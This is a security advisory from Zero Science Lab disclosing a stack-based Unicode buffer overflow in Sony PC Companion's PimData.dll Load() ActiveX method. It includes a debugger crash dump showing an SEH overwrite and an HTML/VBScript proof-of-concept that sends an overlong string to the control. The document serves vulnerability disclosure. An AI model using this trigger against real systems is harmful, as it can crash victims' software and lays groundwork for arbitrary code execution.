Sony PC Companion 2.1 (Load()) Stack-based Unicode Buffer Overload SEH Vendor: Sony Mobile Communications AB Product web page: http://www.sonymobile.com Affected version: 2.10.115 (Production 27.1, Build 830) 2.10.108 (Production 26.1, Build 818) Summary: PC Companion is a computer application that acts as a portal to Sony Xperia and operator features and applications, such as phone software updates, management of contacts and calendar, media management with Media Go, and a backup and restore feature for your phone content. Desc: The vulnerability is caused due to a boundary error in PimData.dll when handling the value assigned to the 'File' item in the Load function and can be exploited to cause a stack-based buffer overflow via an overly long string which may lead to execution of arbitrary code on the affected machine. ------------------------------------------------------------------------------ STATUS_STACK_BUFFER_OVERRUN encountered (59c.162c): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=5f392b80 ecx=75b1de28 edx=0019dd59 esi=00000000 edi=002891c4 eip=75b1dca5 esp=0019dfa0 ebp=0019e01c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 KERNEL32!FormatMessageA+0x13c85: 75b1dca5 cc int 3 0:000> !exchain 0019e00c: KERNEL32!RegSaveKeyExA+3e9 (75b49b72) Invalid exception stack at 00420042 0:000> d edi 002891c4 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 002891d4 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 002891e4 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 002891f4 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 00289204 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 00289214 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 00289224 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 00289234 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 0:000> ------------------------------------------------------------------------------ Tested on: Microsoft Windows 7 Ultimate SP1 (EN) 32bit Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2012-5118 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5118.php http://cwe.mitre.org/data/definitions/121.html 09.11.2012 --- <html> <body> <object classid='clsid:EEA36793-F574-4CC1-8690-60E3511CFEAA' id='overrun' /> <script language='vbscript'> targetFile = "C:\Program Files\Sony\Sony PC Companion\PimData.dll" prototype = "Sub Load ( ByVal File As String )" memberName = "Load" progid = "PimDataLib.DataItemCollection" argCount = 1 File=String(262, "A") + "BB" + String(1000, "C") ' ^ ^ ^ ' | | | '----------- junk ----- nseh -------- junk ------ overrun.Load File </script> </body> </html>
